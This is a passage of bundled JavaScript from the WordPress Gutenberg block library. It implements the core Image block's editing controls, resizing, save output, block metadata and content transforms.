                      (0, import_i18n93.__)(
                        "Leave empty if decorative."
                      )
                    ] })
                  }
                )
              }
            )
          ]
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime278.jsxs)(
        import_block_editor112.InspectorControls,
        {
          group: "dimensions",
          resetAllFilter: (attrs) => ({
            ...attrs,
            aspectRatio: void 0,
            width: void 0,
            height: void 0,
            scale: void 0,
            focalPoint: void 0
          }),
          children: [
            dimensionsControl,
            url && scale && /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
              import_components56.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n93.__)("Focal point"),
                isShownByDefault: true,
                hasValue: () => !!focalPoint,
                onDeselect: () => setAttributes({
                  focalPoint: void 0
                }),
                panelId: clientId,
                children: /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
                  import_components56.FocalPointPicker,
                  {
                    label: (0, import_i18n93.__)("Focal point"),
                    url,
                    value: focalPoint,
                    onDragStart: imperativeFocalPointPreview,
                    onDrag: imperativeFocalPointPreview,
                    onChange: (newFocalPoint) => setAttributes({
                      focalPoint: newFocalPoint
                    })
                  }
                )
              }
            )
          ]
        }
      ),
      !!imageSizeOptions.length && /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(import_block_editor112.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
        import_components56.__experimentalToolsPanel,
        {
          label: (0, import_i18n93.__)("Settings"),
          resetAll: resetSettings,
          dropdownMenuProps,
          children: /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
            ResolutionTool2,
            {
              value: sizeSlug,
              defaultValue: DEFAULT_MEDIA_SIZE_SLUG3,
              onChange: updateImage,
              options: imageSizeOptions
            }
          )
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(import_block_editor112.InspectorControls, { group: "advanced", children: /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
        import_components56.TextControl,
        {
          __next40pxDefaultSize: true,
          label: (0, import_i18n93.__)("Title attribute"),
          value: title || "",
          onChange: onSetTitle,
          readOnly: lockTitleControls,
          help: lockTitleControls ? /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(import_jsx_runtime278.Fragment, { children: lockTitleControlsMessage }) : (0, import_element43.createInterpolateElement)(
            (0, import_i18n93.__)(
              "Describe the role of this image on the page. <a>(Note: many devices and browsers do not display this text.)</a>"
            ),
            {
              a: /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(import_components56.ExternalLink, { href: "https://www.w3.org/TR/html52/dom.html#the-title-attribute" })
            }
          )
        }
      ) })
    ] });
    const filename = (0, import_url9.getFilename)(url);
    let defaultedAlt;
    if (alt) {
      defaultedAlt = alt;
    } else if (filename) {
      defaultedAlt = (0, import_i18n93.sprintf)(
        /* translators: %s: file name */
        (0, import_i18n93.__)("This image has an empty alt attribute; its file name is %s"),
        filename
      );
    } else {
      defaultedAlt = (0, import_i18n93.__)("This image has an empty alt attribute");
    }
    const borderProps = (0, import_block_editor112.__experimentalUseBorderProps)(attributes2);
    const shadowProps = (0, import_block_editor112.__experimentalGetShadowClassesAndStyles)(attributes2);
    const isRounded = attributes2.className?.includes("is-style-rounded");
    const { postType, postId, queryId } = context;
    const isDescendentOfQueryLoop = Number.isFinite(queryId);
    let img = temporaryURL && hasImageErrored ? (
      // Show a placeholder during upload when the blob URL can't be loaded. This can
      // happen when the user uploads a HEIC image in a browser that doesn't support them.
      /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
        import_components56.Placeholder,
        {
          className: "wp-block-image__placeholder",
          withIllustration: true,
          children: /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(import_components56.Spinner, {})
        }
      )
    ) : /* @__PURE__ */ (0, import_jsx_runtime278.jsxs)(import_jsx_runtime278.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
        "img",
        {
          src: temporaryURL || url,
          alt: defaultedAlt,
          onError: onImageError,
          onLoad: onImageLoad,
          ref: setRefs,
          className: borderProps.className,
          width: naturalWidth,
          height: naturalHeight,
          style: {
            aspectRatio,
            ...resizeDelta ? {
              width: pixelSize.width + resizeDelta.width,
              height: pixelSize.height + resizeDelta.height
            } : { width, height },
            objectFit: scale,
            objectPosition: focalPoint && scale ? mediaPosition2(focalPoint) : void 0,
            ...borderProps.style,
            ...shadowProps.style
          }
        }
      ),
      (temporaryURL || isSideloading) && /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(import_components56.Spinner, {})
    ] });
    if (canEditImage && isEditingImage) {
      img = /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(ImageWrapper, { href, children: /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
        import_block_editor112.__experimentalImageEditor,
        {
          id,
          url,
          ...pixelSize,
          naturalHeight,
          naturalWidth,
          onSaveImage: (imageAttributes) => setAttributes(imageAttributes),
          onFinishEditing: () => {
            setIsEditingImage(false);
          },
          borderProps: isRounded ? void 0 : borderProps
        }
      ) });
    } else {
      img = /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(ImageWrapper, { href, children: img });
    }
    let resizableBox;
    if (isResizable && isSingleSelected && !isEditingImage && !SIZED_LAYOUTS.includes(parentLayoutType)) {
      const numericRatio = aspectRatio && evalAspectRatio(aspectRatio);
      const customRatio = pixelSize.width / pixelSize.height;
      const naturalRatio = naturalWidth / naturalHeight;
      const ratio = numericRatio || customRatio || naturalRatio || 1;
      const minWidth = naturalWidth < naturalHeight ? MIN_SIZE2 : MIN_SIZE2 * ratio;
      const minHeight = naturalHeight < naturalWidth ? MIN_SIZE2 : MIN_SIZE2 / ratio;
      const maxWidthBuffer = maxWidth * 2.5;
      const maxResizeWidth = maxContentWidth || maxWidthBuffer;
      let showRightHandle = false;
      let showLeftHandle = false;
      if (align === "center") {
        showRightHandle = true;
        showLeftHandle = true;
      } else if ((0, import_i18n93.isRTL)()) {
        if (align === "left") {
          showRightHandle = true;
        } else {
          showLeftHandle = true;
        }
      } else {
        if (align === "right") {
          showLeftHandle = true;
        } else {
          showRightHandle = true;
        }
      }
      resizableBox = /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
        import_components56.ResizableBox,
        {
          ref: effectResizeableBoxPlacement,
          style: {
            position: "absolute",
            // To match the vertical-align: bottom of the img (from style.scss)
            // syncs the top with the img. This matters when the img height is
            // less than the line-height.
            inset: `${offsetTop}px 0 0 0`
          },
          size: pixelSize,
          minWidth,
          maxWidth: maxResizeWidth,
          minHeight,
          maxHeight: maxResizeWidth / ratio,
          lockAspectRatio: ratio,
          enable: {
            top: false,
            right: showRightHandle,
            bottom: true,
            left: showLeftHandle
          },
          onResizeStart: () => {
            toggleSelection(false);
          },
          onResize: (event, direction, elt, delta) => {
            setResizeDelta(delta);
          },
          onResizeStop: (event, direction, elt, delta) => {
            toggleSelection(true);
            setResizeDelta(null);
            setPixelSize((current) => ({
              width: current.width + delta.width,
              height: current.height + delta.height
            }));
            if (maxContentWidth && // Only do this if the image is bigger than the container to prevent it from being squished.
            // TODO: Remove this check if the image support setting 100% width.
            naturalWidth >= maxContentWidth && Math.abs(elt.offsetWidth - maxContentWidth) < 10) {
              setAttributes({
                width: void 0,
                height: void 0
              });
              return;
            }
            setAttributes({
              width: `${elt.offsetWidth}px`,
              height: "auto",
              aspectRatio: ratio === naturalRatio ? void 0 : String(ratio)
            });
          },
          resizeRatio: align === "center" ? 2 : 1
        }
      );
    }
    if (!url && !temporaryURL) {
      return /* @__PURE__ */ (0, import_jsx_runtime278.jsxs)(import_jsx_runtime278.Fragment, { children: [
        mediaReplaceFlow,
        controls
      ] });
    }
    const setPostFeatureImage = () => {
      editEntityRecord("postType", postType, postId, {
        featured_media: id
      });
      createSuccessNotice((0, import_i18n93.__)("Post featured image updated."), {
        type: "snackbar"
      });
    };
    const featuredImageControl = !isDescendentOfQueryLoop && postId && id ? /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(import_block_editor112.BlockSettingsMenuControls, { children: ({ canEdit, selectedClientIds }) => canEdit && selectedClientIds.length === 1 && clientId === selectedClientIds[0] && /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(import_components56.MenuItem, { onClick: setPostFeatureImage, children: (0, import_i18n93.__)("Set as featured image") }) }) : null;
    return /* @__PURE__ */ (0, import_jsx_runtime278.jsxs)(import_jsx_runtime278.Fragment, { children: [
      editMediaButton,
      mediaReplaceFlow,
      controls,
      featuredImageControl,
      img,
      resizableBox,
      /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
        Caption,
        {
          attributes: attributes2,
          setAttributes,
          isSelected: isSingleSelected,
          insertBlocksAfter,
          label: (0, import_i18n93.__)("Image caption text"),
          showToolbarButton: isSingleSelected && (hasNonContentControls || isContentOnlyMode) && !hideCaptionControls
        }
      )
    ] });
  }

  // packages/block-library/build-module/image/use-max-width-observer.mjs
  var import_element44 = __toESM(require_element(), 1);
  var import_compose23 = __toESM(require_compose(), 1);
  var import_jsx_runtime279 = __toESM(require_jsx_runtime(), 1);
  function useMaxWidthObserver() {
    const [contentResizeListener, { width }] = (0, import_compose23.useResizeObserver)();
    const observerRef = (0, import_element44.useRef)();
    const maxWidthObserver = /* @__PURE__ */ (0, import_jsx_runtime279.jsx)(
      "div",
      {
        className: "wp-block",
        "aria-hidden": "true",
        style: {
          position: "absolute",
          inset: 0,
          width: "100%",
          height: 0,
          margin: 0
        },
        ref: observerRef,
        children: contentResizeListener
      }
    );
    return [maxWidthObserver, width];
  }

  // packages/block-library/build-module/image/edit.mjs
  var import_jsx_runtime280 = __toESM(require_jsx_runtime(), 1);
  var pickRelevantMediaFiles2 = (image, size) => {
    const imageProps = Object.fromEntries(
      Object.entries(image ?? {}).filter(
        ([key]) => ["alt", "id", "link", "caption"].includes(key)
      )
    );
    imageProps.url = image?.sizes?.[size]?.url || image?.media_details?.sizes?.[size]?.source_url || image.url;
    return imageProps;
  };
  var isExternalImage = (id, url) => url && !id && !(0, import_blob12.isBlobURL)(url);
  function hasSize(image, size) {
    return "url" in (image?.sizes?.[size] ?? {}) || "source_url" in (image?.media_details?.sizes?.[size] ?? {});
  }
  function ImageEdit({
    attributes: attributes2,
    setAttributes,
    isSelected: isSingleSelected,
    className,
    insertBlocksAfter,
    onReplace,
    context,
    clientId,
    __unstableParentLayout: parentLayout
  }) {
    const {
      url = "",
      caption,
      id,
      width,
      height,
      sizeSlug,
      aspectRatio,
      scale,
      align,
      metadata
    } = attributes2;
    const [temporaryURL, setTemporaryURL] = (0, import_element45.useState)(attributes2.blob);
    const containerRef = (0, import_element45.useRef)();
    const layoutType = parentLayout?.type || parentLayout?.default?.type;
    const isMaxWidthContainerWidth = !layoutType || layoutType !== "flex" && layoutType !== "grid";
    const [maxWidthObserver, maxContentWidth] = useMaxWidthObserver();
    const [placeholderResizeListener, { width: placeholderWidth }] = (0, import_compose24.useResizeObserver)();
    const isSmallContainer = placeholderWidth && placeholderWidth < 160;
    const captionRef = (0, import_element45.useRef)();
    (0, import_element45.useEffect)(() => {
      captionRef.current = caption;
    }, [caption]);
    const { __unstableMarkNextChangeAsNotPersistent, replaceBlock } = (0, import_data48.useDispatch)(import_block_editor113.store);
    (0, import_element45.useEffect)(() => {
      if (["wide", "full"].includes(align)) {
        __unstableMarkNextChangeAsNotPersistent();
        setAttributes({
          width: void 0,
          height: void 0,
          aspectRatio: void 0,
          scale: void 0
        });
      }
    }, [__unstableMarkNextChangeAsNotPersistent, align, setAttributes]);
    const {
      getSettings: getSettings2,
      getBlockRootClientId,
      getBlockName,
      canInsertBlockType
    } = (0, import_data48.useSelect)(import_block_editor113.store);
    const blockEditingMode = (0, import_block_editor113.useBlockEditingMode)();
    const { createErrorNotice } = (0, import_data48.useDispatch)(import_notices8.store);
    function onUploadError(message) {
      createErrorNotice(message, { type: "snackbar" });
      setAttributes({
        src: void 0,
        id: void 0,
        url: void 0,
        blob: void 0
      });
    }
    function onSelectImagesList(images) {
      const win = containerRef.current?.ownerDocument.defaultView;
      if (images.every((file) => file instanceof win.File)) {
        const files = images;
        const rootClientId = getBlockRootClientId(clientId);
        if (files.some((file) => !isValidFileType(file))) {
          createErrorNotice(
            (0, import_i18n94.__)(
              "If uploading to a gallery all files need to be image formats"
            ),
            { id: "gallery-upload-invalid-file", type: "snackbar" }
          );
        }
        const imageBlocks = files.filter((file) => isValidFileType(file)).map(
          (file) => (0, import_blocks38.createBlock)("core/image", {
            blob: (0, import_blob12.createBlobURL)(file)
          })
        );
        if (getBlockName(rootClientId) === "core/gallery") {
          replaceBlock(clientId, imageBlocks);
        } else if (canInsertBlockType("core/gallery", rootClientId)) {
          const galleryBlock = (0, import_blocks38.createBlock)(
            "core/gallery",
            {},
            imageBlocks
          );
          replaceBlock(clientId, galleryBlock);
        }
      }
    }
    function onSelectImage(media) {
      if (Array.isArray(media)) {
        onSelectImagesList(media);
        return;
      }
      if (!media || !media.url) {
        setAttributes({
          url: void 0,
          alt: void 0,
          id: void 0,
          title: void 0,
          caption: void 0,
          blob: void 0
        });
        setTemporaryURL();
        return;
      }
      if ((0, import_blob12.isBlobURL)(media.url)) {
        setTemporaryURL(media.url);
        return;
      }
      const { imageDefaultSize } = getSettings2();
      let newSize = DEFAULT_MEDIA_SIZE_SLUG3;
      if (sizeSlug && hasSize(media, sizeSlug)) {
        newSize = sizeSlug;
      } else if (hasSize(media, imageDefaultSize)) {
        newSize = imageDefaultSize;
      }
      let mediaAttributes = pickRelevantMediaFiles2(media, newSize);
      if (typeof mediaAttributes.caption === "string" && mediaAttributes.caption.includes("\n")) {
        mediaAttributes.caption = mediaAttributes.caption.replace(
          /\n/g,
          "<br>"
        );
      }
      if (captionRef.current && !mediaAttributes.caption) {
        const { caption: omittedCaption, ...restMediaAttributes } = mediaAttributes;
        mediaAttributes = restMediaAttributes;
      }
      let additionalAttributes;
      if (!media.id || media.id !== id) {
        additionalAttributes = {
          sizeSlug: newSize
        };
      }
      let linkDestination = attributes2.linkDestination;
      if (!linkDestination) {
        switch (window?.wp?.media?.view?.settings?.defaultProps?.link || LINK_DESTINATION_NONE2) {
          case "file":
          case LINK_DESTINATION_MEDIA2:
            linkDestination = LINK_DESTINATION_MEDIA2;
            break;
          case "post":
          case LINK_DESTINATION_ATTACHMENT2:
            linkDestination = LINK_DESTINATION_ATTACHMENT2;
            break;
          case LINK_DESTINATION_CUSTOM:
            linkDestination = LINK_DESTINATION_CUSTOM;
            break;
          case LINK_DESTINATION_NONE2:
            linkDestination = LINK_DESTINATION_NONE2;
            break;
        }
      }
      let href;
      switch (linkDestination) {
        case LINK_DESTINATION_MEDIA2:
          href = media.url;
          break;
        case LINK_DESTINATION_ATTACHMENT2:
          href = media.link;
          break;
      }
      mediaAttributes.href = href;
      setAttributes({
        blob: void 0,
        ...mediaAttributes,
        ...additionalAttributes,
        linkDestination
      });
      setTemporaryURL();
    }
    function onSelectURL(newURL) {
      const normalizedNewURL = (0, import_url10.getProtocol)(newURL) ? newURL : (0, import_url10.prependHTTPS)(newURL);
      if (normalizedNewURL !== url) {
        setAttributes({
          blob: void 0,
          url: normalizedNewURL,
          id: void 0,
          sizeSlug: getSettings2().imageDefaultSize
        });
        setTemporaryURL();
      }
    }
    useUploadMediaFromBlobURL({
      url: temporaryURL,
      allowedTypes: ALLOWED_MEDIA_TYPES3,
      onChange: onSelectImage,
      onError: onUploadError
    });
    const isExternal = isExternalImage(id, url);
    const src = isExternal ? url : void 0;
    const isSideloading = (0, import_data48.useSelect)(
      (select9) => {
        if (!window.__clientSideMediaProcessing || !id) {
          return false;
        }
        return select9(import_upload_media.store).isUploadingById(id);
      },
      [id]
    );
    const mediaPreview = !!url && /* @__PURE__ */ (0, import_jsx_runtime280.jsx)(
      "img",
      {
        alt: (0, import_i18n94.__)("Edit image"),
        title: (0, import_i18n94.__)("Edit image"),
        className: "edit-image-preview",
        src: url
      }
    );
    const borderProps = (0, import_block_editor113.__experimentalUseBorderProps)(attributes2);
    const shadowProps = (0, import_block_editor113.__experimentalGetShadowClassesAndStyles)(attributes2);
    const classes = clsx_default(className, {
      "is-transient": !!temporaryURL || isSideloading,
      "is-resized": !!width || !!height,
      [`size-${sizeSlug}`]: sizeSlug,
      "has-custom-border": !!borderProps.className || borderProps.style && Object.keys(borderProps.style).length > 0
    });
    const blockProps = (0, import_block_editor113.useBlockProps)({
      ref: containerRef,
      className: classes
    });
    const { lockUrlControls = false, lockUrlControlsMessage } = (0, import_data48.useSelect)(
      (select9) => {
        if (!isSingleSelected) {
          return {};
        }
        const blockBindingsSource = (0, import_blocks38.getBlockBindingsSource)(
          metadata?.bindings?.url?.source
        );
        return {
          lockUrlControls: !!metadata?.bindings?.url && !blockBindingsSource?.canUserEditValue?.({
            select: select9,
            context,
            args: metadata?.bindings?.url?.args
          }),
          lockUrlControlsMessage: blockBindingsSource?.label ? (0, import_i18n94.sprintf)(
            /* translators: %s: Label of the bindings source. */
            (0, import_i18n94.__)("Connected to %s"),
            blockBindingsSource.label
          ) : (0, import_i18n94.__)("Connected to dynamic data")
        };
      },
      [context, isSingleSelected, metadata?.bindings?.url]
    );
    const placeholder2 = (content) => {
      return /* @__PURE__ */ (0, import_jsx_runtime280.jsxs)(
        import_components57.Placeholder,
        {
          className: clsx_default("block-editor-media-placeholder", {
            [borderProps.className]: !!borderProps.className && !isSingleSelected
          }),
          icon: !isSmallContainer && (lockUrlControls ? plugins_default : image_default),
          withIllustration: !isSingleSelected || isSmallContainer,
          label: !isSmallContainer && (0, import_i18n94.__)("Image"),
          instructions: !lockUrlControls && !isSmallContainer && (0, import_i18n94.__)(
            "Drag and drop an image, upload, or choose from your library."
          ),
          style: {
            aspectRatio: !(width && height) && aspectRatio ? aspectRatio : void 0,
            width: height && aspectRatio ? "100%" : width,
            height: width && aspectRatio ? "100%" : height,
            objectFit: scale,
            ...borderProps.style,
            ...shadowProps.style
          },
          children: [
            lockUrlControls && !isSmallContainer && lockUrlControlsMessage,
            !lockUrlControls && !isSmallContainer && content,
            placeholderResizeListener
          ]
        }
      );
    };
    return /* @__PURE__ */ (0, import_jsx_runtime280.jsxs)(import_jsx_runtime280.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime280.jsxs)("figure", { ...blockProps, children: [
        /* @__PURE__ */ (0, import_jsx_runtime280.jsx)(
          Image2,
          {
            temporaryURL,
            isSideloading,
            attributes: attributes2,
            setAttributes,
            isSingleSelected,
            insertBlocksAfter,
            onReplace,
            onSelectImage,
            onSelectURL,
            onUploadError,
            context,
            clientId,
            blockEditingMode,
            parentLayoutType: layoutType,
            maxContentWidth
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime280.jsx)(
          import_block_editor113.MediaPlaceholder,
          {
            icon: /* @__PURE__ */ (0, import_jsx_runtime280.jsx)(import_block_editor113.BlockIcon, { icon: image_default }),
            onSelect: onSelectImage,
            onSelectURL,
            onError: onUploadError,
            placeholder: placeholder2,
            allowedTypes: ALLOWED_MEDIA_TYPES3,
            handleUpload: (files) => files.length === 1,
            value: { id, src },
            mediaPreview,
            disableMediaButtons: temporaryURL || url
          }
        )
      ] }),
      // The listener cannot be placed as the first element as it will break the in-between inserter.
      // See https://github.com/WordPress/gutenberg/blob/71134165868298fc15e22896d0c28b41b3755ff7/packages/block-editor/src/components/block-list/use-in-between-inserter.js#L120
      isSingleSelected && isMaxWidthContainerWidth && maxWidthObserver
    ] });
  }
  var edit_default18 = ImageEdit;

  // packages/block-library/build-module/image/block.json
  var block_default44 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/image",
    title: "Image",
    category: "media",
    usesContext: [
      "allowResize",
      "imageCrop",
      "fixedHeight",
      "navigationButtonType",
      "postId",
      "postType",
      "queryId",
      "galleryId"
    ],
    description: "Insert an image to make a visual statement.",
    keywords: ["img", "photo", "picture"],
    textdomain: "default",
    attributes: {
      blob: {
        type: "string",
        role: "local"
      },
      url: {
        type: "string",
        source: "attribute",
        selector: "img",
        attribute: "src",
        role: "content"
      },
      alt: {
        type: "string",
        source: "attribute",
        selector: "img",
        attribute: "alt",
        default: "",
        role: "content"
      },
      caption: {
        type: "rich-text",
        source: "rich-text",
        selector: "figcaption",
        role: "content"
      },
      lightbox: {
        type: "object",
        enabled: {
          type: "boolean"
        }
      },
      title: {
        type: "string",
        source: "attribute",
        selector: "img",
        attribute: "title",
        role: "content"
      },
      href: {
        type: "string",
        source: "attribute",
        selector: "figure > a",
        attribute: "href",
        role: "content"
      },
      rel: {
        type: "string",
        source: "attribute",
        selector: "figure > a",
        attribute: "rel"
      },
      linkClass: {
        type: "string",
        source: "attribute",
        selector: "figure > a",
        attribute: "class"
      },
      id: {
        type: "number",
        role: "content"
      },
      width: {
        type: "string"
      },
      height: {
        type: "string"
      },
      aspectRatio: {
        type: "string"
      },
      scale: {
        type: "string"
      },
      focalPoint: {
        type: "object"
      },
      sizeSlug: {
        type: "string"
      },
      linkDestination: {
        type: "string"
      },
      linkTarget: {
        type: "string",
        source: "attribute",
        selector: "figure > a",
        attribute: "target"
      }
    },
    supports: {
      interactivity: true,
      align: ["left", "center", "right", "wide", "full"],
      anchor: true,
      color: {
        text: false,
        background: false
      },
      filter: {
        duotone: true
      },
      spacing: {
        margin: true
      },
      __experimentalBorder: {
        color: true,
        radius: true,
        width: true,
        __experimentalSkipSerialization: true,
        __experimentalDefaultControls: {
          color: true,
          radius: true,
          width: true
        }
      },
      shadow: {
        __experimentalSkipSerialization: true
      }
    },
    selectors: {
      border: ".wp-block-image img, .wp-block-image .wp-block-image__crop-area, .wp-block-image .components-placeholder",
      shadow: ".wp-block-image img, .wp-block-image .wp-block-image__crop-area, .wp-block-image .components-placeholder",
      filter: {
        duotone: ".wp-block-image img, .wp-block-image .components-placeholder"
      }
    },
    styles: [
      {
        name: "default",
        label: "Default",
        isDefault: true
      },
      { name: "rounded", label: "Rounded" }
    ],
    editorStyle: "wp-block-image-editor",
    style: "wp-block-image"
  };

  // packages/block-library/build-module/image/save.mjs
  var import_block_editor114 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime281 = __toESM(require_jsx_runtime(), 1);
  function save26({ attributes: attributes2 }) {
    const {
      url,
      alt,
      caption,
      align,
      href,
      rel,
      linkClass,
      width,
      height,
      aspectRatio,
      scale,
      focalPoint,
      id,
      linkTarget,
      sizeSlug,
      title,
      metadata: { bindings = {} } = {}
    } = attributes2;
    const newRel = !rel ? void 0 : rel;
    const borderProps = (0, import_block_editor114.__experimentalGetBorderClassesAndStyles)(attributes2);
    const shadowProps = (0, import_block_editor114.__experimentalGetShadowClassesAndStyles)(attributes2);
    const classes = clsx_default({
      // All other align classes are handled by block supports.
      // `{ align: 'none' }` is unique to transforms for the image block.
      alignnone: "none" === align,
      [`size-${sizeSlug}`]: sizeSlug,
      "is-resized": width || height,
      "has-custom-border": !!borderProps.className || borderProps.style && Object.keys(borderProps.style).length > 0
    });
    const imageClasses = clsx_default(borderProps.className, {
      [`wp-image-${id}`]: !!id
    });
    const image = /* @__PURE__ */ (0, import_jsx_runtime281.jsx)(
      "img",
      {
        src: url,
        alt,
        className: imageClasses || void 0,
        style: {
          ...borderProps.style,
          ...shadowProps.style,
          aspectRatio,
          objectFit: scale,
          objectPosition: focalPoint && scale ? mediaPosition2(focalPoint) : void 0,
          width,
          height
        },
        title
      }
    );
    const displayCaption = !import_block_editor114.RichText.isEmpty(caption) || bindings.caption || bindings?.__default?.source === "core/pattern-overrides";
    const figure = /* @__PURE__ */ (0, import_jsx_runtime281.jsxs)(import_jsx_runtime281.Fragment, { children: [
      href ? /* @__PURE__ */ (0, import_jsx_runtime281.jsx)(
        "a",
        {
          className: linkClass,
          href,
          target: linkTarget,
          rel: newRel,
          children: image
        }
      ) : image,
      displayCaption && /* @__PURE__ */ (0, import_jsx_runtime281.jsx)(
        import_block_editor114.RichText.Content,
        {
          className: (0, import_block_editor114.__experimentalGetElementClassName)("caption"),
          tagName: "figcaption",
          value: caption
        }
      )
    ] });
    return /* @__PURE__ */ (0, import_jsx_runtime281.jsx)("figure", { ...import_block_editor114.useBlockProps.save({ className: classes }), children: figure });
  }

  // packages/block-library/build-module/image/transforms.mjs
  var import_blob13 = __toESM(require_blob(), 1);
  var import_blocks39 = __toESM(require_blocks(), 1);
  function stripFirstImage(attributes2, { shortcode }) {
    const { body } = document.implementation.createHTMLDocument("");
    body.innerHTML = shortcode.content;
    let nodeToRemove = body.querySelector("img");
    while (nodeToRemove && nodeToRemove.parentNode && nodeToRemove.parentNode !== body) {
      nodeToRemove = nodeToRemove.parentNode;
    }
    if (nodeToRemove) {
      nodeToRemove.parentNode.removeChild(nodeToRemove);
    }
    return body.innerHTML.trim();
  }
  function getFirstAnchorAttributeFormHTML(html, attributeName) {
    const { body } = document.implementation.createHTMLDocument("");
    body.innerHTML = html;
    const { firstElementChild } = body;
    if (firstElementChild && firstElementChild.nodeName === "A") {
      return firstElementChild.getAttribute(attributeName) || void 0;
    }
  }
  var imageSchema = {
    img: {
      attributes: ["src", "alt", "title"],
      classes: [
        "alignleft",
        "aligncenter",
        "alignright",
        "alignnone",
        /^wp-image-\d+$/
      ]
    }
  };
  var schema = ({ phrasingContentSchema }) => ({
    figure: {
      require: ["img"],
      children: {
        ...imageSchema,
        a: {
          attributes: ["href", "rel", "target"],
          classes: ["*"],
          children: imageSchema
        },
        figcaption: {
          children: phrasingContentSchema
        }
      }
    }
  });
  var transforms13 = {
    from: [
      {
        type: "raw",
        isMatch: (node) => node.nodeName === "FIGURE" && !!node.querySelector("img"),
        schema,
        transform: (node) => {
          const className = node.className + " " + node.querySelector("img").className;
          const alignMatches = /(?:^|\s)align(left|center|right)(?:$|\s)/.exec(
            className
          );
          const anchor = node.id === "" ? void 0 : node.id;
          const align = alignMatches ? alignMatches[1] : void 0;
          const idMatches = /(?:^|\s)wp-image-(\d+)(?:$|\s)/.exec(
            className
          );
          const id = idMatches ? Number(idMatches[1]) : void 0;
          const anchorElement = node.querySelector("a");
          const linkDestination = anchorElement && anchorElement.href ? "custom" : void 0;
          const href = anchorElement && anchorElement.href ? anchorElement.href : void 0;
          const rel = anchorElement && anchorElement.rel ? anchorElement.rel : void 0;
          const linkClass = anchorElement && anchorElement.className ? anchorElement.className : void 0;
          const attributes2 = (0, import_blocks39.getBlockAttributes)(
            "core/image",
            node.outerHTML,
            {
              align,
              id,
              linkDestination,
              href,
              rel,
              linkClass,
              anchor
            }
          );
          if ((0, import_blob13.isBlobURL)(attributes2.url)) {
            attributes2.blob = attributes2.url;
            delete attributes2.url;
          }
          return (0, import_blocks39.createBlock)("core/image", attributes2);
        }
      },
      {
        // Note: when dragging and dropping multiple files onto a gallery this overrides the
        // gallery transform in order to add new images to the gallery instead of
        // creating a new gallery.
        type: "files",
        isMatch(files) {
          return files.every(
            (file) => file.type.indexOf("image/") === 0
          );
        },
        transform(files) {
          const blocks = files.map((file) => {
            return (0, import_blocks39.createBlock)("core/image", {
              blob: (0, import_blob13.createBlobURL)(file)
            });
          });
          return blocks;
        }
      },
      {
        type: "shortcode",
        tag: "caption",
        attributes: {
          url: {
            type: "string",
            source: "attribute",
            attribute: "src",
            selector: "img"
          },
          alt: {
            type: "string",
            source: "attribute",
            attribute: "alt",
            selector: "img"
          },
          caption: {
            shortcode: stripFirstImage
          },
          href: {
            shortcode: (attributes2, { shortcode }) => {
              return getFirstAnchorAttributeFormHTML(
                shortcode.content,
                "href"
              );
            }
          },
          rel: {
            shortcode: (attributes2, { shortcode }) => {
              return getFirstAnchorAttributeFormHTML(
                shortcode.content,
                "rel"
              );
            }
          },
          linkClass: {
            shortcode: (attributes2, { shortcode }) => {
              return getFirstAnchorAttributeFormHTML(
                shortcode.content,
                "class"
              );
            }
          },
          id: {
            type: "number",
            shortcode: ({ named: { id } }) => {
              if (!id) {
                return;
              }
              return parseInt(id.replace("attachment_", ""), 10);
            }
          },
          align: {
            type: "string",
            shortcode: ({ named: { align = "alignnone" } }) => {
              return align.replace("align", "");
            }
          }
        }
      }
    ]
  };
  var transforms_default14 = transforms13;

  // packages/block-library/build-module/image/index.mjs
  var { fieldsKey: fieldsKey8, formKey: formKey8 } = unlock(import_blocks40.privateApis);
  var { name: name44 } = block_default44;
  var settings44 = {
    icon: image_default,
    example: {
      attributes: {
        sizeSlug: "large",
        url: "https://s.w.org/images/core/5.3/MtBlanc1.jpg",
        // translators: Caption accompanying an image of the Mont Blanc, which serves as an example for the Image block.
        caption: (0, import_i18n95.__)("Mont Blanc appears\u2014still, snowy, and serene.")
      }
    },
    __experimentalLabel(attributes2, { context }) {
      const customName = attributes2?.metadata?.name;
      if ((context === "list-view" || context === "breadcrumb") && customName) {
        return customName;
      }
      if (context === "accessibility") {
        const { caption, alt, url } = attributes2;
        if (!url) {
          return (0, import_i18n95.__)("Empty");
        }
        if (!alt) {
          return caption || "";
        }
        return alt + (caption ? ". " + caption : "");
      }
    },
    getEditWrapperProps(attributes2) {
      return {
        "data-align": attributes2.align
      };
    },
    transforms: transforms_default14,
    edit: edit_default18,
    save: save26,
    deprecated: deprecated_default22
  };
  if (window.__experimentalContentOnlyInspectorFields) {
    settings44[fieldsKey8] = [
      {
        id: "image",
        label: (0, import_i18n95.__)("Image"),
        type: "media",
        Edit: {
          control: "media",
          // TODO: replace with custom component
          allowedTypes: ["image"],
          multiple: false
        },
        getValue: ({ item }) => ({
          id: item.id,
          url: item.url,
          alt: item.alt,
          caption: item.caption
        }),
        setValue: ({ value }) => ({
          id: value.id,
          url: value.url,
          alt: value.alt,
          caption: value.caption
        })
      },
      {
        id: "link",
        label: (0, import_i18n95.__)("Link"),
        type: "url",
        Edit: "link",
        // TODO: replace with custom component
        getValue: ({ item }) => ({
          url: item.href,
          rel: item.rel,
